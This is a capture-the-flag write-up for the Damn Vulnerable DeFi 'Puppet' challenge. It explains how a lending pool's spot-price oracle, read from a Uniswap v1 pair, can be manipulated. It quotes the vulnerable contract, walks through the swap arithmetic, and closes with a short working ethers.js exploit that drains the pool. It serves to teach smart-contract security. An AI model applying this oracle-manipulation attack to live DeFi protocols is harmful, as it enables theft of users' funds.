Damn Vulnerable Defi 8: Puppet

Challenge:

Our eighth challenge is called ‘puppet’ and it comes with the following prompt:

There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

Once more, our mission is to drain the lending pool!

The contracts for this challenge are located in contracts/puppet/. The contract source code can be found below:

PuppetPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title PuppetPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract PuppetPool is ReentrancyGuard {

    using Address for address payable;

    mapping(address => uint256) public deposits;
    address public immutable uniswapPair;
    DamnValuableToken public immutable token;
    
    event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);

    constructor (address tokenAddress, address uniswapPairAddress) {
        token = DamnValuableToken(tokenAddress);
        uniswapPair = uniswapPairAddress;
    }

    // Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
    function borrow(uint256 borrowAmount) public payable nonReentrant {
        uint256 depositRequired = calculateDepositRequired(borrowAmount);
        
        require(msg.value >= depositRequired, "Not depositing enough collateral");
        
        if (msg.value > depositRequired) {
            payable(msg.sender).sendValue(msg.value - depositRequired);
        }

        deposits[msg.sender] = deposits[msg.sender] + depositRequired;

        // Fails if the pool doesn't have enough tokens in liquidity
        require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

        emit Borrowed(msg.sender, depositRequired, borrowAmount);
    }

    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * 2 / 10 ** 18;
    }

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }

     /**
     ... functions to deposit, redeem, repay, calculate interest, and so on ...
     */

}

The hints and solutions for this level can be found below:

Hint 1:

As I’m sure you’re realizing, this level is all about manipulating the uniswap v1 pool. What is wrong with the way the _computeOraclePrice() function calculates the price of the token? (hint: read up on uniswap v1 if you are unsure how the exchange’s balances can be changed)

Hint 2:

https://hackmd.io/@HaydenAdams/HJ9jLsfTz#ETH-%E2%87%84-ERC20-Trades https://github.com/Uniswap/v1-contracts/blob/master/contracts/uniswap_exchange.vy

Solution:

Right away, we can see that the loans are offered based on the value returned by the _computeOraclePrice() function. Digging into that function a little bit, we can see that if we can alter the ratio of the exchange’s ether balance to DVT balance, we can greatly affect the collateral requirements for the loan. This is where you have to dig into uniswap v1 to understand its swap mechanism and understand how to interact with the deployed exchange contract. What we do know on the surface is that we want to decrease the amount of ETH in the contract and increase the amount of DVT in the contract to benefit us. Reading through the documentation, you should be able to discover the tokenToEthSwapInput() function. This is excatly what we can use to perform our actions. Below is the code from github:

def tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp) -> uint256(wei):
    return self.tokenToEthInput(tokens_sold, min_eth, deadline, msg.sender, msg.sender)

def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
    assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
    token_reserve: uint256 = self.token.balanceOf(self)
    eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
    wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
    assert wei_bought >= min_eth
    send(recipient, wei_bought)
    assert self.token.transferFrom(buyer, self, tokens_sold)
    log.EthPurchase(buyer, tokens_sold, wei_bought)
    return wei_bought

Let’s see what happens if we put in all of our attacker’s DVT.

ETH_Pool = 10
DVT_Pool = 10

invariant = 10*10 = 100

Fee = 1000 * 0.003 = 3 DVT
DVT_Pool = 10 + 1000 = 1010
ETH_Pool = 100 / (1007) = 0.0993 ETH

Attacker receives: 10 - 0.0993 ETH = 9.9007 ETH
Attacker ETH balance: 34.9007
Attacker DVT balance: 0

_computeOraclePrice() = 0.0993 / 1010 = 0.00009831683 * 2 = 0.00019663366


borrowAmount = 100000 * 0.00019663366 = 19.66 ETH

So, if we perform the swap with all of our tokens to augment the exchange ratio in our favor, we can see that we will be left with far more ETH than is required to drain the entire lending pool of DVT. We can then call borrow() with a msg.value greater than 19.66 ETH and we will obtain all of the funds of the lending pool!

Ethers Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        let deadline = (await ethers.provider.getBlock('latest')).timestamp * 2
        await this.token.connect(attacker).approve(this.uniswapExchange.address,ATTACKER_INITIAL_TOKEN_BALANCE);
        await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE.sub(1), 1, deadline);
        await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: ethers.utils.parseEther('20')});
    });